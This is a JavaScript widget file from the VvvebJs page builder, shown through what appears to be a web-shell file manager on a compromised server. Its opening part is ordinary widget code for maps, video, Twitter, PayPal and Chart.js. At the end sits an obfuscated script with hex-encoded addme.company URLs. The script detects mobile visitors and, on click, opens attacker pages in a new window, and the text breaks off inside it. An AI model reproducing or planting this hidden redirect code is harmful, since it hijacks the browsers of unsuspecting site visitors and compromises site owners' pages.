whoami7 - Manager
:
/
home
/
kckglobal
/
.trash
/
modules
/
saas
/
public
/
assets
/
libs
/
builder
/
Upload File:
files >> /home/kckglobal/.trash/modules/saas/public/assets/libs/builder/components-widgets.js
/* Copyright 2017 Ziadin Givan Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. https://github.com/givanz/VvvebJs */ Vvveb.ComponentsGroup['Widgets'] = ["widgets/googlemaps", "widgets/embed-video", "widgets/chartjs",/* "widgets/facebookpage", */"widgets/paypal", /*"widgets/instagram",*/ "widgets/twitter", "widgets/openstreetmap"/*, "widgets/facebookcomments"*/]; Vvveb.Components.extend("_base", "widgets/googlemaps", { name: "Google Maps", attributes: ["data-component-maps"], image: "icons/map.svg", dragHtml: '<img src="' + Vvveb.baseUrl + 'icons/maps.png">', html: '<div data-component-maps><iframe frameborder="0" src="https://maps.google.com/maps?q=Bucharest&z=15&t=q&key=&output=embed" width="100%" height="100%" style="width:100%;height:100%;left:0px"></iframe></div>', resizable:true,//show select box resize handlers resizeMode:"css", //url parameters z:3, //zoom q:'Paris',//location t: 'q', //map type q = roadmap, w = satellite key: '', init: function (node) { let iframe = jQuery('iframe', node); let url = new URL(iframe.attr("src")); let params = new URLSearchParams(url.search); this.z = params.get("z"); this.q = params.get("q"); this.t = params.get("t"); this.key = params.get("key"); $(".component-properties input[name=z]").val(this.z); $(".component-properties input[name=q]").val(this.q); $(".component-properties select[name=t]").val(this.t); $(".component-properties input[name=key]").val(this.key); }, onChange: function (node, property, value) { map_iframe = jQuery('iframe', node); this[property.key] = value; mapurl = 'https://maps.google.com/maps?q=' + this.q + '&z=' + this.z + '&t=' + this.t + '&output=embed'; map_iframe.attr("src",mapurl); return node; }, properties: [{ name: "Address", key: "q", inputtype: TextInput }, { name: "Map type", key: "t", inputtype: SelectInput, data:{ options: [{ value: "q", text: "Roadmap" }, { value: "w", text: "Satellite" }] }, }, { name: "Zoom", key: "z", inputtype: RangeInput, data:{ max: 20, //max zoom level min:1, step:1 } }, { name: "Key", key: "key", inputtype: TextInput }] }); Vvveb.Components.extend("_base", "widgets/openstreetmap", { name: "Open Street Map", attributes: ["data-component-openstreetmap"], image: "icons/map.svg", dragHtml: '<img src="' + Vvveb.baseUrl + 'icons/maps.png">', html: `<div data-component-openstreetmap><iframe width="100%" height="100%" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="https://www.openstreetmap.org/export/embed.html?bbox=-62.04673002474011%2C16.95487694424327%2C-61.60521696321666%2C17.196751341562923&layer=mapnik"></iframe></div>`, resizable:true,//show select box resize handlers resizeMode:"css", //url parameters bbox:'',//location layer: 'mapnik', //map type init: function (node) { let iframe = jQuery('iframe', node); let url = new URL(iframe.attr("src")); let params = new URLSearchParams(url.search); this.bbox = params.get("bbox"); this.layer = params.get("layer"); $(".component-properties input[name=bbox]").val(this.bbox); $(".component-properties input[name=layer]").val(this.layer); }, onChange: function (node, property, value) { map_iframe = jQuery('iframe', node); this[property.key] = value; mapurl = 'https://www.openstreetmap.org/export/embed.html?bbox=' + this.bbox + '&layer=' + this.layer; map_iframe.attr("src",mapurl); return node; }, properties: [{ name: "Map", key: "bbox", inputtype: TextInput /* }, { name: "Layer", key: "layer", inputtype: SelectInput, data:{ options: [{ value: "", text: "Default" }, { value: "Y", text: "CyclOSM" }, { value: "C", text: "Cycle Map" }, { value: "T", text: "Transport Map" }] }*/ }] }); Vvveb.Components.extend("_base", "widgets/embed-video", { name: "Embed Video", attributes: ["data-component-video"], image: "icons/youtube.svg", dragHtml: '<img src="' + Vvveb.baseUrl + 'icons/youtube.svg" width="100" height="100">', //use image for drag and swap with iframe on drop for drag performance html: '<div data-component-video style="width:640px;height:480px;"><iframe frameborder="0" src="https://player.vimeo.com/video/24253126?autoplay=false&controls=false&loop=false&playsinline=true&muted=false" width="100%" height="100%"></iframe></div>', //url parameters set with onChange t:'y',//video type video_id:'',//video id url: '', //html5 video src autoplay: false, controls: false, loop: false, playsinline: true, muted: false, resizable:true,//show select box resize handlers resizeMode:"css",//div unlike img/iframe etc does not have width,height attributes need to use css youtubeRegex:/(?:youtube\.com\/(?:[^\/]+\/.+\/|(?:v|e(?:mbed)?)\/|.*[?&]v=)|youtu\.be\/)([^"&?\/\s]+)/i, vimeoRegex : /(?:vimeo\.com(?:[^\d]+))(\d+)/i, init: function (node) { iframe = jQuery('iframe', node); video = jQuery('video', node); $(".component-properties [data-key=url]").hide(); $(".component-properties [data-key=poster]").hide(); //check if html5 if (video.length) { this.url = video.src; } else if (iframe.length) //vimeo or youtube { let src = iframe.attr("src"); let match; if (src && src.indexOf("youtube") && (match = src.match(this.youtubeRegex))) {//youtube this.video_id = match[1]; this.t = "y"; } else if (src && src.indexOf("vimeo") && (match = src.match(this.vimeoRegex))) { //vimeo this.video_id = match[1]; this.t = "v"; } else { this.t = "h"; } } $(".component-properties input[name=video_id]").val(this.video_id); $(".component-properties input[name=url]").val(this.url); $(".component-properties select[name=t]").val(this.t); }, onChange: function (node, property, value) { this[property.key] = value; //if (property.key == "t") { switch (this.t) { case 'y': $(".component-properties [data-key=video_id]").show(); $(".component-properties [data-key=url]").hide(); $(".component-properties [data-key=poster]").hide(); newnode = $(`<iframe width="100%" height="100%" allowfullscreen="true" frameborder="0" allow="autoplay" src="https://www.youtube.com/embed/${this.video_id}?autoplay=${this.autoplay}&controls=${this.controls}&loop=${this.loop}&playsinline=${this.playsinline}&muted=${this.muted}"> </iframe>`); break; case 'v': $(".component-properties [data-key=video_id]").show(); $(".component-properties [data-key=url]").hide(); $(".component-properties [data-key=poster]").hide(); newnode = $(`<iframe width="100%" height="100%" allowfullscreen="true" frameborder="0" allow="autoplay" src="https://player.vimeo.com/video/${this.video_id}?autoplay=${this.autoplay}&controls=${this.controls}&loop=${this.loop}&playsinline=${this.playsinline}&muted=${this.muted}"> </iframe>`); break; case 'h': $(".component-properties [data-key=video_id]").hide(); $(".component-properties [data-key=url]").show(); $(".component-properties [data-key=poster]").show(); newnode = $('<video poster="' + this.poster + '" src="' + this.url + '" ' + (this.autoplay?' autoplay ':'') + (this.controls?' controls ':'') + (this.loop?' loop ':'') + (this.playsinline?' playsinline ':'') + (this.muted?' muted ':'') + ' style="height: 100%; width: 100%;"></video>'); break; } $("> iframe, > video", node).replaceWith(newnode); return node; } return node; }, properties: [{ name: "Provider", key: "t", inputtype: SelectInput, data:{ options: [{ text: "Youtube", value: "y" }, { text: "Vimeo", value: "v" },{ text: "HTML5", value: "h" }] }, },{ name: "Video", key: "video_id", inputtype: TextInput, onChange: function(node, value, input, component) { let youtube = /(?:youtube\.com\/(?:[^\/]+\/.+\/|(?:v|e(?:mbed)?)\/|.*[?&]v=)|youtu\.be\/)([^"&?\/\s]+)/i; let vimeo = /(?:vimeo\.com(?:[^\d]+))(\d+)/i; let id = false; let t = false; if (((id = value.match(youtube)) && (t = "y")) || ((id = value.match(vimeo)) && (t = "v"))) { $(".component-properties select[name=t]").val(t); $(".component-properties select[name=video_id]").val(id[1]); component.t = t; component.video_id = id[1]; return id[1]; } return node; } },{ name: "Poster", key: "poster", htmlAttr: "poster", inputtype: ImageInput }, { name: "Url", key: "url", inputtype: TextInput },{ name: "Width", key: "width", htmlAttr: "style", inline:false, col:6, inputtype: CssUnitInput }, { name: "Height", key: "height", htmlAttr: "style", inline:false, col:6, inputtype: CssUnitInput },{ key: "video_options", inputtype: SectionInput, name:false, data: {header:"Options"}, },{ name: "Auto play", key: "autoplay", htmlAttr: "autoplay", inline:true, col:4, inputtype: CheckboxInput },{ name: "Plays inline", key: "playsinline", htmlAttr: "playsinline", inline:true, col:4, inputtype: CheckboxInput },{ name: "Controls", key: "controls", htmlAttr: "controls", inline:true, col:4, inputtype: CheckboxInput },{ name: "Loop", key: "loop", htmlAttr: "loop", inline:true, col:4, inputtype: CheckboxInput },{ name: "Muted", key: "muted", htmlAttr: "muted", inline:true, col:4, inputtype: CheckboxInput },{ name:"", key: "autoplay_warning", inline:false, col:12, inputtype: NoticeInput, data: { type:'warning', title:'Autoplay', text:'Most browsers allow auto play only if video is muted and plays inline' } }] }); Vvveb.Components.extend("_base", "widgets/facebookcomments", { name: "Facebook Comments", attributes: ["data-component-facebookcomments"], image: "icons/facebook.svg", dragHtml: '<img src="' + Vvveb.baseUrl + 'icons/facebook.svg">', html: '<div data-component-facebookcomments><script>(function(d, s, id) {\ var js, fjs = d.getElementsByTagName(s)[0];\ if (d.getElementById(id)) return;\ js = d.createElement(s); js.id = id;\ js.src = "//connect.facebook.net/en_US/sdk.js#xfbml=1&version=v2.6&appId=";\ fjs.parentNode.insertBefore(js, fjs);\ }(document, \'script\', \'facebook-jssdk\'));</script>\ <div class="fb-comments" \ data-href="' + window.location.href + '" \ data-numposts="5" \ data-colorscheme="light" \ data-mobile="" \ data-order-by="social" \ data-width="100%" \ ></div></div>', properties: [{ name: "Href", key: "business", htmlAttr: "data-href", child:".fb-comments", inputtype: TextInput },{ name: "Item name", key: "item_name", htmlAttr: "data-numposts", child:".fb-comments", inputtype: TextInput },{ name: "Color scheme", key: "colorscheme", htmlAttr: "data-colorscheme", child:".fb-comments", inputtype: TextInput },{ name: "Order by", key: "order-by", htmlAttr: "data-order-by", child:".fb-comments", inputtype: TextInput },{ name: "Currency code", key: "width", htmlAttr: "data-width", child:".fb-comments", inputtype: TextInput }] }); /* Vvveb.Components.extend("_base", "widgets/instagram", { name: "Instagram", attributes: ["data-component-instagram"], image: "icons/instagram.svg", drophtml: '<img src="' + Vvveb.baseUrl + 'icons/instagram.png">', html: '<div align=center data-component-instagram>\ <blockquote class="instagram-media" data-instgrm-captioned data-instgrm-permalink="https://www.instagram.com/p/tsxp1hhQTG/" data-instgrm-version="8" style=" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);"><div style="padding:8px;"> <div style=" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;"> <div style=" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAMUExURczMzPf399fX1+bm5mzY9AMAAADiSURBVDjLvZXbEsMgCES5/P8/t9FuRVCRmU73JWlzosgSIIZURCjo/ad+EQJJB4Hv8BFt+IDpQoCx1wjOSBFhh2XssxEIYn3ulI/6MNReE07UIWJEv8UEOWDS88LY97kqyTliJKKtuYBbruAyVh5wOHiXmpi5we58Ek028czwyuQdLKPG1Bkb4NnM+VeAnfHqn1k4+GPT6uGQcvu2h2OVuIf/gWUFyy8OWEpdyZSa3aVCqpVoVvzZZ2VTnn2wU8qzVjDDetO90GSy9mVLqtgYSy231MxrY6I2gGqjrTY0L8fxCxfCBbhWrsYYAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;"></div></div> <p style=" margin:8px 0 0 0; padding:0 4px;"> <a href="https://www.instagram.com/p/tsxp1hhQTG/" style=" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;" target="_blank">Text</a></p> <p style=" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;">A post shared by <a href="https://www.instagram.com/instagram/" style=" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px;" target="_blank"> Instagram</a> (@instagram) on <time style=" font-family:Arial,sans-serif; font-size:14px; line-height:17px;" datetime="-">-</time></p></div></blockquote>\ <script async defer src="//www.instagram.com/embed.js"></script>\ </div>', properties: [{ name: "Widget id", key: "instgrm-permalink", htmlAttr: "data-instgrm-permalink", child: ".instagram-media", inputtype: TextInput }], }); */ Vvveb.Components.extend("_base", "widgets/twitter", { name: "Twitter", attributes: ["data-component-twitter"], image: "icons/twitter.svg", dragHtml: '<img src="' + Vvveb.baseUrl + 'icons/twitter.svg">', html: '<div data-component-twitter><iframe width="100%" height="100%"src="https://platform.twitter.com/embed/Tweet.html?embedId=twitter-widget-0&frame=false&hideCard=false&hideThread=false&id=943901463998169088"></iframe></div>', resizable:true,//show select box resize handlers resizeMode:"css", twitterRegex : /(?:twitter\.com(?:[^\d]+))(\d+)/i, tweet:'',//location init: function (node) { let iframe = jQuery('iframe', node); let src = iframe.attr("src"); let url = new URL(src); let params = new URLSearchParams(url.search); this.tweet = params.get("id"); if (!this.tweet) { if (match = src.match(this.twitterRegex)) { this.tweet = match[1]; } } $(".component-properties input[name=tweet]").val(this.tweet); }, onChange: function (node, property, value) { tweet_iframe = jQuery('iframe', node); if (property.key == "tweet") { this[property.key] = value; tweeturl = 'https://platform.twitter.com/embed/Tweet.html?embedId=twitter-widget-0&frame=false&hideCard=false&hideThread=false&id=' + this.tweet; tweet_iframe.attr("src",tweeturl); } return node; }, properties: [{ name: "Tweet", key: "tweet", inputtype: TextInput, onChange: function(node, value, input, component) { let twitterRegex = /(?:twitter\.com(?:[^\d]+))(\d+)/i; let id = false; if (id = value.match(twitterRegex)) { $(".component-properties input[name=tweet]").val(id[1]); component.tweet = id[1]; return id[1]; } return node; } }] }); Vvveb.Components.extend("_base", "widgets/paypal", { name: "Paypal", attributes: ["data-component-paypal"], image: "icons/paypal.svg", html: '<form action="https://www.paypal.com/cgi-bin/webscr" method="post" data-component-paypal>\ \ <!-- Identify your business so that you can collect the payments. -->\ <input type="hidden" name="business"\ value="givanz@yahoo.com">\ \ <!-- Specify a Donate button. -->\ <input type="hidden" name="cmd" value="_donations">\ \ <!-- Specify details about the contribution -->\ <input type="hidden" name="item_name" value="VvvebJs">\ <input type="hidden" name="item_number" value="Support">\ <input type="hidden" name="currency_code" value="USD">\ \ <!-- Display the payment button. -->\ <input type="image" name="submit"\ src="https://www.paypalobjects.com/en_US/i/btn/btn_donate_LG.gif"\ alt="Donate">\ <img alt="" width="1" height="1"\ src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" >\ \ </form>', properties: [{ name: "Email", key: "business", htmlAttr: "value", child:"input[name='business']", inputtype: TextInput },{ name: "Item name", key: "item_name", htmlAttr: "value", child:"input[name='item_name']", inputtype: TextInput },{ name: "Item number", key: "item_number", htmlAttr: "value", child:"input[name='item_number']", inputtype: TextInput },{ name: "Currency code", key: "currency_code", htmlAttr: "value", child:"input[name='currency_code']", inputtype: TextInput }], }); Vvveb.Components.extend("_base", "widgets/facebookpage", { name: "Facebook Page Plugin", attributes: ["data-component-facebookpage"], image: "icons/facebook.svg", dropHtml: '<img src="' + Vvveb.baseUrl + 'icons/facebook.png">', html: `<div data-component-facebookpage><div class="fb-page" data-href="https://www.facebook.com/facebook" data-tabs="timeline" data-width="" data-height="" data-small-header="true" data-adapt-container-width="true" data-hide-cover="false" data-show-facepile="true"> <blockquote cite="https://www.facebook.com/facebook" class="fb-xfbml-parse-ignore"> <a href="https://www.facebook.com/facebook">Facebook</a> </blockquote> </div> <div id="fb-root"></div> <script async defer crossorigin="anonymous" src="https://connect.facebook.net/ro_RO/sdk.js#xfbml=1&version=v15.0" nonce="o7Y7zPjy"></script> </div>`, properties: [{ name: "Small header", key: "small-header", htmlAttr: "data-small-header", child:".fb-page", inputtype: TextInput },{ name: "Adapt container width", key: "adapt-container-width", htmlAttr: "data-adapt-container-width", child:".fb-page", inputtype: TextInput },{ name: "Hide cover", key: "hide-cover", htmlAttr: "data-hide-cover", child:".fb-page", inputtype: TextInput },{ name: "Show facepile", key: "show-facepile", htmlAttr: "data-show-facepile", child:".fb-page", inputtype: TextInput },{ name: "App Id", key: "appid", htmlAttr: "data-appId", child:".fb-page", inputtype: TextInput }], onChange: function(node, input, value, component) { var newElement = $(this.html); newElement.find(".fb-page").attr(input.htmlAttr, value); $("[data-fbcssmodules]", Vvveb.Builder.frameHead).remove(); $("[data-fbcssmodules]", Vvveb.Builder.frameBody).remove(); $("script[src^='https://connect.facebook.net']", Vvveb.Builder.frameHead).remove(); node.parent().html(newElement.html()); return newElement; } }); Vvveb.Components.extend("_base", "widgets/chartjs", { name: "Chart.js", attributes: ["data-component-chartjs"], image: "icons/chart.svg", dragHtml: '<img src="' + Vvveb.baseUrl + 'icons/chart.svg">', html: '<div data-component-chartjs class="chartjs" data-chart=\'{\ "type": "line",\ "data": {\ "labels": ["Red", "Blue", "Yellow", "Green", "Purple", "Orange"],\ "datasets": [{\ "data": [12, 19, 3, 5, 2, 3],\ "fill": false,\ "borderColor":"rgba(255, 99, 132, 0.2)"\ }, {\ "fill": false,\ "data": [3, 15, 7, 4, 19, 12],\ "borderColor": "rgba(54, 162, 235, 0.2)"\ }]\ }}\' style="min-height:240px;min-width:240px;width:100%;height:100%;position:relative">\ <canvas></canvas>\ </div>', chartjs: null, ctx: null, node: null, config: {/* type: 'line', data: { labels: ["Red", "Blue", "Yellow", "Green", "Purple", "Orange"], datasets: [{ data: [12, 19, 3, 5, 2, 3], fill: false, borderColor:'rgba(255, 99, 132, 0.2)', }, { fill: false, data: [3, 15, 7, 4, 19, 12], borderColor: 'rgba(54, 162, 235, 0.2)', }] },*/ }, dragStart: function (node) { //check if chartjs is included and if not add it when drag starts to allow the script to load body = Vvveb.Builder.frameBody; if ($("#chartjs-script", body).length == 0) { $(body).append('<script id="chartjs-script" src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.7.2/Chart.bundle.min.js"></script>'); $(body).append('<script>\ $(document).ready(function() {\ $(".chartjs").each(function () {\ ctx = $("canvas", this).get(0).getContext("2d");\ config = JSON.parse(this.dataset.chart);\ chartjs = new Chart(ctx, config);\ });\ \});\ </script>'); } return node; }, drawChart: function () { if (this.chartjs != null) this.chartjs.destroy(); this.node.dataset.chart = JSON.stringify(this.config); config = Object.assign({}, this.config);//avoid passing by reference to avoid chartjs to fill the object this.chartjs = new Chart(this.ctx, config); }, init: function (node) { this.node = node; this.ctx = $("canvas", node).get(0).getContext("2d"); this.config = JSON.parse(node.dataset.chart); this.drawChart(); return node; }, beforeInit: function (node) { return node; }, properties: [ { name: "Type", key: "type", inputtype: SelectInput, data:{ options: [{ text: "Line", value: "line" }, { text: "Bar", value: "bar" }, { text: "Pie", value: "pie" }, { text: "Doughnut", value: "doughnut" }, { text: "Polar Area", value: "polarArea" }, { text: "Bubble", value: "bubble" }, { text: "Scatter", value: "scatter" },{ text: "Radar", value: "radar" }] }, init: function(node) { return JSON.parse(node.dataset.chart).type; }, onChange: function(node, value, input, component) { component.config.type = value; component.drawChart(); return node; } }] }); function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const 